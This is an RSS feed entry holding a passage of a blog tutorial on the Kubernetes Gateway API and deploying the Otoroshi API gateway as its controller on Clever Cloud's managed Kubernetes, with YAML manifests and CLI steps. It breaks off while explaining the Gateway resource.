<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Cloud APIM's blog]]></title><description><![CDATA[Everything about Cloud APIM, new products, announcements, open-source, etc]]></description><link>https://blog.cloud-apim.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1707990323467/dXhpw__Va.png</url><title>Cloud APIM&apos;s blog</title><link>https://blog.cloud-apim.com</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 19 Apr 2026 07:42:47 GMT</lastBuildDate><atom:link href="https://blog.cloud-apim.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Exposing Kubernetes Applications with Otoroshi and the Gateway API on Clever Cloud]]></title><description><![CDATA[There's a certain feeling you get when you've just finished setting up a new piece of infrastructure and it actually works. The kind of satisfaction that makes you reach for your coffee, lean back in ]]></description><link>https://blog.cloud-apim.com/exposing-kubernetes-applications-with-otoroshi-and-the-gateway-api-on-clever-cloud</link><guid isPermaLink="true">https://blog.cloud-apim.com/exposing-kubernetes-applications-with-otoroshi-and-the-gateway-api-on-clever-cloud</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[k8s]]></category><category><![CDATA[Gateway API]]></category><category><![CDATA[gateway]]></category><category><![CDATA[otoroshi]]></category><category><![CDATA[APIM]]></category><category><![CDATA[Cloud APIM]]></category><category><![CDATA[clevercloud]]></category><category><![CDATA[ingress]]></category><dc:creator><![CDATA[Mathieu Ancelin]]></dc:creator><pubDate>Thu, 05 Mar 2026 10:47:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65cd294c80813febb292e8fd/261e12b2-7c3f-4b4d-996e-639506089f04.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>There's a certain feeling you get when you've just finished setting up a new piece of infrastructure and it actually works. The kind of satisfaction that makes you reach for your coffee, lean back in your chair, and just... breathe. That's exactly how I felt when, after a couple hours of tinkering on a rainy afternoon, I watched a <code>curl</code> command return a clean HTTP 200 from an application running deep inside a Kubernetes cluster — routed through Otoroshi's Gateway API integration, running on Clever Cloud's managed Kubernetes engine.</p>
<p>I want to take you through that journey in this article. We'll go from the fundamental problem of exposing Kubernetes workloads to the outside world, through the history of Ingress controllers, all the way to the new Kubernetes Gateway API standard — and we'll deploy the whole stack, step by step, on <a href="https://www.clever.cloud/developers/doc/kubernetes">CKE (Clever Kubernetes Engine)</a>, Clever Cloud's managed Kubernetes offering.</p>
<p>Grab a coffee. This is a long one.</p>
<hr />
<h2>The Problem: Your App is Trapped Inside the Cluster</h2>
<p>When you deploy an application to Kubernetes, you're placing it inside a highly capable but fundamentally isolated environment. Kubernetes pods live in their own private network space. Services like <code>ClusterIP</code> make those pods reachable <em>within</em> the cluster, but by design, they're not accessible from the outside world.</p>
<p>That's actually a feature, not a bug. Kubernetes gives you a private, controllable network fabric. But the moment your application needs to serve real users — or talk to external systems — you need to punch a controlled hole through that isolation.</p>
<p>Over the years, the Kubernetes community has developed several approaches to this problem, each with its own trade-offs.</p>
<h3>The Early Days: NodePort and LoadBalancer</h3>
<p>The simplest option is a <code>NodePort</code> service. It binds a port on every node of your cluster and forwards traffic to your pods. It works, but it's clunky: you're dealing with high port numbers (30000+), you're exposing every node's IP directly, and you have zero traffic management capabilities. NodePort is great for quick local testing, but it's not something you'd run in production.</p>
<p>The next step up is a <code>LoadBalancer</code> service. Cloud providers — including Clever Cloud — can provision an external load balancer and wire it up to your pods automatically. This is a real improvement: you get a stable external IP and clean port numbers. But if you have dozens of services to expose, you end up with dozens of load balancers, each costing money, each needing DNS configuration. It doesn't scale well.</p>
<p>What you really need is a single entry point — a reverse proxy — that can intelligently route traffic to the right service based on the hostname, path, headers, or other request attributes. And that's exactly what the Ingress resource was created for.</p>
<hr />
<h2>A Brief History of Ingress</h2>
<p>Kubernetes introduced the <code>Ingress</code> resource around 2015 as a standardized way to define HTTP routing rules. The idea was elegant: you write a YAML manifest that says "requests to <code>api.example.com/v1</code> should go to service <code>my-api</code> on port 8080", and a controller picks that up and configures the actual reverse proxy.</p>
<p>A typical Ingress resource looks like this:</p>
<pre><code class="language-yaml">apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app
  namespace: default
spec:
  rules:
  - host: api.example.com
    http:
      paths:
      - path: /v1
        pathType: Prefix
        backend:
          service:
            name: my-api
            port:
              number: 8080
</code></pre>
<h3>The Ingress Controller Ecosystem</h3>
<p>The Ingress spec itself doesn't do anything on its own — you also need an <em>Ingress controller</em>, a piece of software that watches for Ingress resources and translates them into actual proxy configurations. Nginx was the most popular choice. Others followed: Traefik, HAProxy Ingress, Contour, and more.</p>
<p>The problem is that the Ingress spec was intentionally kept minimal. Basic host and path-based routing was all you got from the standard. Everything else — TLS termination modes, rate limiting, authentication, retries, canary deployments — had to be configured through <em>annotations</em>. And since annotations are just arbitrary strings attached to resources, every controller had its own vocabulary. A rate limit annotation for Nginx looks completely different from one for Traefik. Moving from one controller to another meant rewriting all your Ingress resources.</p>
<pre><code class="language-yaml"># nginx-specific annotation
nginx.ingress.kubernetes.io/limit-rps: "10"

# Same thing in Traefik's world
traefik.ingress.kubernetes.io/rate-limit: |
  extractorfunc: client.ip
  rateset:
    default:
      period: 1s
      average: 10
</code></pre>
<p>This annotation sprawl was a recognized pain point in the community. The Ingress API was showing its age.</p>
<h3>The Deprecation Story</h3>
<p>The situation became clearer in 2023 when the Kubernetes maintainers announced the deprecation of the original <code>kubernetes/ingress-nginx</code> controller — not the Nginx Ingress Controller project itself, but the Kubernetes community-maintained one. The project had accumulated significant technical debt and the community decided it was time to move on.</p>
<p>More broadly, the Ingress API itself was being kept in maintenance mode. No new features were being added. The community had already been working on something better.</p>
<hr />
<h2>The Future is Here: Kubernetes Gateway API</h2>
<p>The <a href="https://gateway-api.sigs.k8s.io/">Kubernetes Gateway API</a> is the modern, standardized successor to Ingress. It reached General Availability (GA) in late 2023 and has been steadily gaining adoption since.</p>
<p>The Gateway API was designed with several key goals in mind: to be expressive enough to cover advanced routing scenarios without annotations, to have clear separation of concerns between different user roles, and to be extensible in a controlled way.</p>
<h3>A Different Model</h3>
<p>Where Ingress has a single resource type, the Gateway API introduces a hierarchy of resources:</p>
<p><strong>GatewayClass</strong> — Defines which controller implementation handles a particular class of gateways. Think of it like a <code>StorageClass</code> for storage, but for traffic. It's typically created by the infrastructure team or the platform operator.</p>
<pre><code class="language-yaml">apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: my-gateway-class
spec:
  controllerName: vendor.io/my-controller
</code></pre>
<p><strong>Gateway</strong> — A specific instance of a gateway, using a given class. It defines what protocols and ports to listen on, and what hostnames to handle. This is the resource created by the team that owns the cluster or the network infrastructure.</p>
<pre><code class="language-yaml">apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: my-gateway
  namespace: infra
spec:
  gatewayClassName: my-gateway-class
  listeners:
  - name: http
    protocol: HTTP
    port: 80
    hostname: "*.example.com"
    allowedRoutes:
      namespaces:
        from: All
</code></pre>
<p><strong>HTTPRoute</strong> — The actual routing rules, defined by application teams in their own namespaces. This is the part that app developers care about: "my app lives at <code>api.example.com/v2</code>".</p>
<pre><code class="language-yaml">apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: api-route
  namespace: my-app
spec:
  parentRefs:
  - name: my-gateway
    namespace: infra
    sectionName: http
  hostnames:
  - "api.example.com"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /v2
    backendRefs:
    - name: my-api-service
      port: 8080
</code></pre>
<p>This role-based model is a significant improvement. Cluster operators control the Gateway (which hostnames are allowed, which namespaces can attach routes), while application developers control their own HTTPRoute resources without needing cluster-level privileges. Cross-namespace references are supported with explicit grants via <code>ReferenceGrant</code> resources.</p>
<p>The Gateway API also brings first-class support for traffic splitting (weighted backends for canary deployments), header manipulation, redirects, URL rewrites, and a proper extension mechanism through custom filter types — all without resorting to controller-specific annotations.</p>
<hr />
<h2>Meet Otoroshi</h2>
<p>Before we dive into the hands-on setup, let me introduce the main character of this story: <a href="https://maif.github.io/otoroshi/manual/index.html">Otoroshi</a>.</p>
<p>Otoroshi is an open-source reverse proxy and API gateway that I originally created in 2017, while working as a contractor at <a href="https://www.maif.fr/">MAIF</a>, a large French insurance company. MAIF had just migrated to the Clever Cloud platform and needed a unified solution for securing and managing API traffic across their diverse application landscape — without imposing specific libraries or frameworks on their development teams. The project has since grown well beyond its original scope, and I still lead it today as core maintainer and project lead, under the Cloud APIM umbrella.</p>
<p>The philosophy behind Otoroshi is summarized in five principles: technology agnostic, HTTP-first, API-first (the web UI is just another API client), security-focused, and event-driven. It's designed to be the single entry point for all HTTP traffic to your applications, regardless of where those applications are hosted or what language they're written in.</p>
<h3>What Can Otoroshi Do?</h3>
<p>The feature list is substantial. On the traffic management side: load balancing with multiple strategies (round robin, sticky sessions, least connections, best response time), distributed rate limiting, traffic mirroring, canary deployments, and relay routing across network zones.</p>
<p>On the security side: a built-in Web Application Firewall powered by Coraza with OWASP Core Rule Sets, IP blocklists with CIDR support, geolocation-based access control, API key management with quotas, JWT validation (including JWE), OAuth 2.0/2.1 with PKCE, OIDC, LDAP, SAML V2, and even WebAuthn/FIDO2 support.</p>
<p>For observability: native Prometheus metrics, OpenTelemetry (OTLP) traces, Datadog, StatsD, Kafka event streaming, and more.</p>
<p>And it supports HTTP/1.1, HTTP/2, HTTP/3, WebSocket, TCP, and gRPC — including a next-generation Netty-based server backend for the most demanding workloads.</p>
<h3>Otoroshi in Kubernetes</h3>
<p>Otoroshi has had <a href="https://maif.github.io/otoroshi/manual/deploy/kubernetes.html">native Kubernetes integration since version 1.5.0</a>. In Kubernetes mode, Otoroshi runs as an Ingress controller and can operate through multiple mechanisms:</p>
<ul>
<li><p><strong>Standard Ingress controller</strong>: Watches <code>Ingress</code> resources and creates corresponding routes</p>
</li>
<li><p><strong>Custom Resource Definitions (CRDs)</strong>: A rich set of 23+ custom resources that let you configure every aspect of Otoroshi natively through Kubernetes manifests — routes, backends, certificates, API keys, JWT verifiers, auth modules, and more</p>
</li>
<li><p><strong>Secret synchronization</strong>: Kubernetes TLS secrets are automatically synced as Otoroshi certificates</p>
</li>
</ul>
<p>The Otoroshi controller runs as a background job inside the Otoroshi process itself, polling/watching the Kubernetes API and reconciling the desired state with the current routing configuration. No separate controller deployment needed.</p>
<p>One important note from the docs: running Otoroshi <em>behind</em> an existing ingress controller is explicitly not recommended. It degrades TCP proxying capabilities, TLS, mTLS, and adds unnecessary latency. Otoroshi should be your outermost entry point.</p>
<hr />
<h2>Otoroshi Meets the Gateway API</h2>
<p>Here's where things get exciting. Starting with <strong>version 17.13.0</strong>, Otoroshi implements the <a href="https://maif.github.io/otoroshi/manual/topics/kubernetes-gateway-api.html">Kubernetes Gateway API specification</a>. It was something I'd been wanting to tackle for a while, and the Gateway API spec having reached GA felt like the right moment for me to finally do it properly.</p>
<p>The feature is labeled experimental in the current docs, but it's fully functional for core use cases: Gateway, HTTPRoute, and GRPCRoute support. The implementation follows an interesting architecture choice: rather than dynamically provisioning new listeners on demand (which would require significant cluster privileges and complexity), Otoroshi validates that Gateway listeners match its already-running HTTP/HTTPS ports, then uses the routes to build its routing table.</p>
<p>The reconciliation flow works like this:</p>
<ol>
<li><p>Otoroshi fetches all Gateway API resources from the Kubernetes API server</p>
</li>
<li><p>It validates <code>GatewayClass</code> resources that reference its controller name</p>
</li>
<li><p>It resolves TLS certificates from referenced Kubernetes Secrets</p>
</li>
<li><p>It validates <code>Gateway</code> listeners against its configured ports</p>
</li>
<li><p>It converts <code>HTTPRoute</code> and <code>GRPCRoute</code> objects into native <code>NgRoute</code> entities</p>
</li>
<li><p>It saves the routes and cleans up any orphaned entries from previous reconciliation cycles</p>
</li>
</ol>
<p>All generated routes are tagged with <code>otoroshi-provider: kubernetes-gateway-api</code>, making them easy to identify and query.</p>
<p>The Gateway API controller is activated by running the <code>KubernetesGatewayApiControllerJob</code> as a background job in Otoroshi's configuration. Let's see exactly how to set all of this up.</p>
<hr />
<h2>Building It: End-to-End Setup on Clever Cloud</h2>
<p>Let me walk you through exactly what I did that afternoon. We're going to:</p>
<ol>
<li><p>Provision a Kubernetes cluster on CKE</p>
</li>
<li><p>Add worker nodes</p>
</li>
<li><p>Deploy Otoroshi with Gateway API support enabled</p>
</li>
<li><p>Install the Gateway API CRDs</p>
</li>
<li><p>Deploy a demo application</p>
</li>
<li><p>Route traffic to it through the Gateway API</p>
</li>
<li><p>Test that everything works</p>
</li>
</ol>
<p>Before diving into the steps, here's a bird's eye view of what we're building. Two planes coexist: the <strong>control plane</strong> (dashed arrows), where Otoroshi watches Kubernetes API resources and reconciles them into live routes, and the <strong>data plane</strong> (solid arrows), where actual HTTP traffic flows from the outside world to the application pods.</p>
<img src="https://cdn.hashnode.com/uploads/covers/65cd294c80813febb292e8fd/b3b278ef-1621-4757-bedc-a03bfc24a776.png" alt="" style="display:block;margin:0 auto" />

<h3>Prerequisites</h3>
<p>You'll need:</p>
<ul>
<li><p>A <a href="https://www.clever.cloud/">Clever Cloud</a> account</p>
</li>
<li><p>The <code>clever</code> CLI installed and authenticated (<code>npm install -g clever-tools</code> or download from the releases page)</p>
</li>
<li><p><code>kubectl</code> installed</p>
</li>
</ul>
<blockquote>
<p><strong>Important — CKE is currently in private access.</strong> Clever Kubernetes Engine is not yet generally available to all Clever Cloud users. To get access, you need to reach out to the <a href="https://www.clever.cloud/developers/doc/kubernetes/">Clever Cloud support</a> and ask them to enable CKE on your organization. The team is responsive and the process is straightforward — just mention what you want to build and they'll get you set up. Once it's enabled on your org, the rest of this guide applies as-is.</p>
</blockquote>
<h3>Step 1: Enable Kubernetes on Your Clever Cloud Organization</h3>
<p>Once CKE is unlocked for your organization, you need to enable the Kubernetes feature via the CLI:</p>
<pre><code class="language-bash">clever features enable k8s
</code></pre>
<p>You can list existing clusters with:</p>
<pre><code class="language-bash">clever k8s list --org xxx
</code></pre>
<h3>Step 2: Create Your Cluster</h3>
<p>Creating a new cluster is a single command. The <code>--watch</code> flag keeps the CLI running and shows you progress as the control plane comes up — which is a nice touch when you're sitting there wondering if something went wrong.</p>
<pre><code class="language-bash">clever k8s create gateway-api-demo --org xxx --watch
</code></pre>
<p>After a few minutes, you'll have a running cluster.</p>
<p>You can try the <code>list</code> again. The output shows you the cluster status and eventually confirms that the control plane is ready.</p>
<pre><code class="language-bash">clever k8s list --org xxx
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/65cd294c80813febb292e8fd/ddf1aee6-1c01-49ed-8b65-835f69ca47a3.png" alt="" style="display:block;margin:0 auto" />

<p>You can also notice that a new item has been added to your Clever Cloud Console</p>
<img src="https://cdn.hashnode.com/uploads/covers/65cd294c80813febb292e8fd/96411b05-fa3e-4442-ac21-862b111906c2.png" alt="" style="display:block;margin:0 auto" />

<h3>Step 3: Grab Your kubeconfig</h3>
<p>Once the cluster is ready, download the kubeconfig file:</p>
<pre><code class="language-bash">clever k8s get-kubeconfig gateway-api-demo --org xxx &gt; kubeconfig.yaml
</code></pre>
<p>Then point <code>kubectl</code> at it:</p>
<pre><code class="language-bash">export KUBECONFIG="$(pwd)/kubeconfig.yaml"
</code></pre>
<p>Or if you prefer, drop that export into a <code>config.sh</code> file and <code>source</code> it:</p>
<pre><code class="language-bash">source config.sh
</code></pre>
<p>Let's verify we can talk to the cluster:</p>
<pre><code class="language-bash">kubectl get nodes
</code></pre>
<p>At this point, you'll likely see only the control plane node or nothing at all — we haven't added any worker nodes yet.</p>
<h3>Step 4: Add Worker Nodes</h3>
<p>By default, a CKE cluster starts with a control plane but no worker nodes. We need to create a <code>NodeGroup</code> — Clever Cloud's abstraction for a group of compute nodes with a given flavor (CPU/memory profile) and count.</p>
<p>Here's the manifest I used (<code>manifests/nodegroup.yaml</code>):</p>
<pre><code class="language-yaml">apiVersion: api.clever-cloud.com/v1
kind: NodeGroup
metadata:
  name: gateway-api-demo-nodegroup
spec:
  flavor: L
  nodeCount: 2
</code></pre>
<p>The <code>M</code> flavor gives you a solid amount of CPU and RAM for running Otoroshi comfortably. I went with 2 nodes because I wanted room to experiment without hitting resource constraints.</p>
<p>Apply it:</p>
<pre><code class="language-bash">kubectl create -f ./manifests/nodegroup.yaml
</code></pre>
<p>Now watch the nodes come up:</p>
<pre><code class="language-bash">kubectl get nodes
kubectl get nodegroups
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/65cd294c80813febb292e8fd/ffc1200b-9090-46eb-ae87-09ab8e3d1aaf.png" alt="" style="display:block;margin:0 auto" />

<p>You'll see the nodes join the cluster one by one. Give it a few minutes. Once you see all 2 nodes in <code>Ready</code> state, you're set to proceed.</p>
<img src="https://cdn.hashnode.com/uploads/covers/65cd294c80813febb292e8fd/da4978ed-61e9-4684-9e41-ff90978106b2.png" alt="" style="display:block;margin:0 auto" />

<blockquote>
<p><strong>Pro tip</strong>: If you later decide you need more capacity, you can scale the node group without recreating it:</p>
<pre><code class="language-shell">kubectl scale nodegroup gateway-api-demo-nodegroup --replicas=4
</code></pre>
</blockquote>
<h3>Step 5: Install Otoroshi's RBAC Rules and CRDs for Gateway API</h3>
<p>Otoroshi needs specific RBAC permissions to watch and update Gateway API resources — particularly <code>gatewayclasses</code>, <code>gateways</code>, <code>httproutes</code>, <code>grpcroutes</code>, <code>referencegrants</code>, <code>backendtlspolicies</code>, and the corresponding <code>/status</code> subresources.</p>
<p>The Otoroshi project provides a ready-made RBAC manifest specifically for the Gateway API integration:</p>
<pre><code class="language-bash">kubectl apply -f 'https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/rbac-gateway.yaml'
</code></pre>
<p>And the Otoroshi Custom Resource Definitions:</p>
<pre><code class="language-bash">kubectl apply -f 'https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/crds-gateway.yaml'
</code></pre>
<p>These CRDs let you configure Otoroshi-native resources (routes, backends, API keys, etc.) through Kubernetes manifests. Even though we're focusing on the Gateway API today, having these installed gives you the full Otoroshi Kubernetes integration.</p>
<h3>Step 6: Deploy Otoroshi</h3>
<p>This is the meaty part. Let me walk you through the deployment manifest in detail, because there are several important settings here.</p>
<p>Full manifest (<code>manifests/otoroshi.yaml</code>):</p>
<pre><code class="language-yaml">kind: Namespace
apiVersion: v1
metadata:
  name: otoroshi
---
kind: ServiceAccount
apiVersion: v1
metadata:
  namespace: otoroshi
  name: otoroshi-admin-user
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: otoroshi-admin-user
  namespace: otoroshi
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: otoroshi-admin-user
subjects:
- kind: ServiceAccount
  name: otoroshi-admin-user
  namespace: otoroshi
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: otoroshi
  namespace: otoroshi
spec:
  replicas: 1
  selector:
    matchLabels:
      app: otoroshi
  template:
    metadata:
      labels:
        app: otoroshi
    spec:
      serviceAccountName: otoroshi-admin-user
      terminationGracePeriodSeconds: 60
      containers:
      - name: otoroshi
        image: maif/otoroshi:latest
        imagePullPolicy: Always
        ports:
        - containerPort: 10049
          name: http
        - containerPort: 10048
          name: https
        env:
        - name: APP_STORAGE_ROOT
          value: otoroshi
        - name: APP_STORAGE
          value: inmemory
        - name: ADMIN_API_EXPOSED_SUBDOMAIN
          value: otoroshi-api-5jsfzwhhx6unbywz
        - name: ADMIN_API_TARGET_SUBDOMAIN
          value: otoroshi-target-5jsfzwhhx6unbywz
        - name: APP_BACKOFFICE_SUBDOMAIN
          value: otoroshi-backoffice-5jsfzwhhx6unbywz
        - name: APP_PRIVATEAPPS_SUBDOMAIN
          value: otoroshi-privateapps-5jsfzwhhx6unbywz
        - name: APP_DOMAIN
          value: cleverk8s.io
        - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
          value: password
        - name: ADMIN_API_CLIENT_ID
          value: admin-api-apikey-id
        - name: ADMIN_API_CLIENT_SECRET
          value: admin-api-apikey-secret
        - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
          value: otoroshi-api.otoroshi.svc.cluster.local
        - name: OTOROSHI_SECRET
          value: veryveryveryveryverysecret
        - name: OTOROSHI_EXPOSED_PORTS_HTTP
          value: "80"
        - name: OTOROSHI_EXPOSED_PORTS_HTTPS
          value: "443"
        - name: HEALTH_LIMIT
          value: "5000"
        - name: SSL_OUTSIDE_CLIENT_AUTH
          value: Want
        - name: HTTPS_WANT_CLIENT_AUTH
          value: "true"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ENABLED
          value: "true"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ACCESSLOG
          value: "true"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTP_PORT
          value: "80"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTPS_PORT
          value: "443"
        - name: OTOROSHI_INITIAL_CUSTOMIZATION
          value: &gt;
            {
              "config": {
                "scripts": {
                  "enabled": true,
                  "jobRefs": [
                    "cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob"
                  ],
                  "jobConfig": {
                    "KubernetesConfig": {
                      "trust": false,
                      "namespaces": ["*"],
                      "labels": {},
                      "namespacesLabels": {},
                      "defaultGroup": "default",
                      "ingresses": false,
                      "crds": true,
                      "kubeLeader": false,
                      "restartDependantDeployments": false,
                      "watch": false,
                      "syncIntervalSeconds": 60,
                      "otoroshiServiceName": "otoroshi-service",
                      "otoroshiNamespace": "otoroshi",
                      "clusterDomain": "cluster.local",
                      "gatewayApi": true,
                      "gatewayApiWatch": true,
                      "gatewayApiControllerName": "otoroshi.io/gateway-controller",
                      "gatewayApiHttpListenerPort": [8080, 80],
                      "gatewayApiHttpsListenerPort": [8443, 443],
                      "gatewayApiSyncIntervalSeconds": 30,
                      "gatewayApiAddresses": []
                    }
                  }
                }
              }
            }
        - name: JAVA_OPTS
          value: '-Xms1g -Xmx2g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
        readinessProbe:
          httpGet:
            path: /ready
            port: 8080
          initialDelaySeconds: 30
          periodSeconds: 10
          failureThreshold: 5
        livenessProbe:
          httpGet:
            path: /live
            port: 8080
          initialDelaySeconds: 30
          periodSeconds: 10
          failureThreshold: 5
---
apiVersion: v1
kind: Service
metadata:
  name: otoroshi-service
  namespace: otoroshi
spec:
  selector:
    app: otoroshi
  ports:
  - port: 8080
    name: "http"
    targetPort: "http"
  - port: 8443
    name: "https"
    targetPort: "https"
---
apiVersion: v1
kind: Service
metadata:
  name: otoroshi-lb-external
  namespace: otoroshi
spec:
  type: LoadBalancer
  selector:
    app: otoroshi
  ports:
  - port: 80
    name: "http"
    targetPort: "http"
  - port: 443
    name: "https"
    targetPort: "https"
</code></pre>
<p>Let me highlight the key configuration decisions here.</p>
<p><strong>Storage</strong>: We're using <code>APP_STORAGE=inmemory</code> here to keep things simple and avoid setting up an external data store for this demo. It's the quickest way to get Otoroshi running — no dependencies, no configuration overhead. But let me be clear about the trade-off: with in-memory storage, the entire Otoroshi configuration is gone the moment the pod restarts and you can only count on Otoroshi CRDs for your configs. For production, you absolutely want a persistent backend.</p>
<p>The natural choice is Redis (<code>APP_STORAGE=redis</code>), which is what most Otoroshi production deployments use. If you're already on Clever Cloud, the good news is that <a href="https://www.clever.cloud/developers/doc/addons/redis/">Redis add-ons are available directly on the platform</a> — just provision one, wire up the connection string, and you're set. And beyond persistence, production deployments will also want to run multiple Otoroshi instances for high availability. Otoroshi supports a cluster mode where instances share state through Redis, which fits naturally with Clever Cloud's managed Redis offering. If you want to go further, the <a href="https://www.clever.cloud/developers/doc/kubernetes/operator/">Clever Cloud Kubernetes Operator</a> lets you provision and manage Clever Cloud add-ons (including Redis) directly from Kubernetes manifests — a clean fit if you want to keep everything in GitOps.</p>
<p><strong>The Netty server</strong>: Those <code>OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_*</code> variables enable Otoroshi's next-generation HTTP server based on Netty. This server handles HTTP/1.1, HTTP/2, and HTTP/3 properly, and it's required for gRPC support. We enable it and bind it to ports 80 and 443.</p>
<p><strong>The Gateway API configuration</strong> — this is the critical part — lives in <code>OTOROSHI_INITIAL_CUSTOMIZATION</code>. Let's break it down:</p>
<pre><code class="language-json">{
  "config": {
    "scripts": {
      "enabled": true,
      "jobRefs": [
        "cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob"
      ],
      "jobConfig": {
        "KubernetesConfig": {
          "gatewayApi": true,
          "gatewayApiWatch": true,
          "gatewayApiControllerName": "otoroshi.io/gateway-controller",
          "gatewayApiHttpListenerPort": [8080, 80],
          "gatewayApiHttpsListenerPort": [8443, 443],
          "gatewayApiSyncIntervalSeconds": 10
        }
      }
    }
  }
}
</code></pre>
<ul>
<li><p><code>"jobRefs"</code> activates the <code>KubernetesGatewayApiControllerJob</code> background job — this is the component that watches Gateway API resources and reconciles them</p>
</li>
<li><p><code>"gatewayApi": true</code> enables the Gateway API controller</p>
</li>
<li><p><code>"gatewayApiWatch": true</code> enables near-real-time watching of Kubernetes resources (instead of polling only on a fixed interval)</p>
</li>
<li><p><code>"gatewayApiControllerName": "otoroshi.io/gateway-controller"</code> is the controller identifier — this must exactly match the <code>controllerName</code> in your <code>GatewayClass</code> resource</p>
</li>
<li><p><code>"gatewayApiHttpListenerPort": [8080, 80]</code> — this tells Otoroshi which port values are valid for HTTP listeners in <code>Gateway</code> resources. Gateways that reference port 8080 or port 80 will be accepted</p>
</li>
<li><p><code>"gatewayApiSyncIntervalSeconds": 10</code> — with watch mode enabled, this is how quickly forced reconciliation cycles run</p>
</li>
</ul>
<p><strong>The two Services</strong>: We create two services for Otoroshi:</p>
<ol>
<li><p><code>otoroshi-service</code> (ClusterIP on 8080/8443) — internal access for other pods in the cluster</p>
</li>
<li><p><code>otoroshi-lb-external</code> (LoadBalancer on 80/443) — this is what gets exposed to the outside world. Clever Cloud will provision an external load balancer and assign it a public IP</p>
</li>
</ol>
<p>Apply the deployment:</p>
<pre><code class="language-bash">kubectl apply -f manifests/otoroshi.yaml
</code></pre>
<h3>Step 7: Watch the Logs</h3>
<p>There's a certain ritual to deploying something new: you wait, and you watch logs. Let's follow Otoroshi's startup:</p>
<pre><code class="language-bash">kubectl -n otoroshi logs -f deploy/otoroshi --tail=200
</code></pre>
<p>You'll see Otoroshi boot up, initialize its storage, start the Kubernetes synchronization jobs, and eventually log something like:</p>
<pre><code class="language-plaintext">[INFO] [KubernetesGatewayApiControllerJob] Gateway API controller started, watching for GatewayClass resources with controllerName: otoroshi.io/gateway-controller
</code></pre>
<p>That's the signal you're waiting for. The Gateway API controller is running and ready to pick up resources.</p>
<p>While you wait for Otoroshi to become healthy, you can also check the load balancer service to find the external IP that was assigned:</p>
<pre><code class="language-bash">kubectl -n otoroshi get service otoroshi-lb-external
</code></pre>
<p>The <code>EXTERNAL-IP</code> column will initially show <code>&lt;pending&gt;</code>. Once Clever Cloud has provisioned the load balancer, it'll fill in with a real IP address. Note this IP — you'll need it for DNS configuration and testing.</p>
<pre><code class="language-bash">kubectl -n otoroshi get service otoroshi-lb-external
NAME                   TYPE           CLUSTER-IP      EXTERNAL-IP        PORT(S)
otoroshi-lb-external   LoadBalancer   10.x.x.x        &lt;LOAD_BALANCER_IP&gt;  80:..., 443:...
</code></pre>
<h3>Step 8: Install the Gateway API CRDs</h3>
<p>The Kubernetes Gateway API is not built into Kubernetes by default — it ships as separate CRDs. We need to install them before we can create <code>GatewayClass</code>, <code>Gateway</code>, or <code>HTTPRoute</code> resources.</p>
<p>The SIG Network team maintains official release artifacts. We're using v1.4.0:</p>
<pre><code class="language-bash">kubectl apply -f 'https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.4.0/standard-install.yaml'
</code></pre>
<p>This installs the stable channel CRDs: <code>GatewayClass</code>, <code>Gateway</code>, <code>HTTPRoute</code>, <code>GRPCRoute</code>, <code>ReferenceGrant</code>, and a few others.</p>
<p>Verify they're in place:</p>
<pre><code class="language-shell">kubectl get crds | grep gateway.networking.k8s.io
</code></pre>
<p>You should see entries for <code>gatewayclasses.gateway.networking.k8s.io</code>, <code>gateways.gateway.networking.k8s.io</code>, <code>httproutes.gateway.networking.k8s.io</code>, and so on.</p>
<h3>Step 9: Deploy the Gateway Configuration</h3>
<p>Now the fun begins. We need to create two resources: a <code>GatewayClass</code> that tells Kubernetes "Otoroshi handles this", and a <code>Gateway</code> that defines our listening configuration.</p>
<p>Here's the manifest (<code>manifests/gateway.yaml</code>):</p>
<pre><code class="language-yaml">apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: otoroshi
spec:
  controllerName: otoroshi.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: demo-otoroshi-gateway
  namespace: otoroshi
spec:
  gatewayClassName: otoroshi
  listeners:
  - name: http
    protocol: HTTP
    port: 80
    hostname: "*.demo-cke.io"
    allowedRoutes:
      namespaces:
        from: All
</code></pre>
<p>Let's unpack this:</p>
<p><strong>GatewayClass</strong>: The <code>controllerName</code> here — <code>otoroshi.io/gateway-controller</code> — must exactly match the <code>gatewayApiControllerName</code> we configured in Otoroshi's environment variables. This is how Otoroshi claims ownership of this GatewayClass.</p>
<p><strong>Gateway</strong>:</p>
<ul>
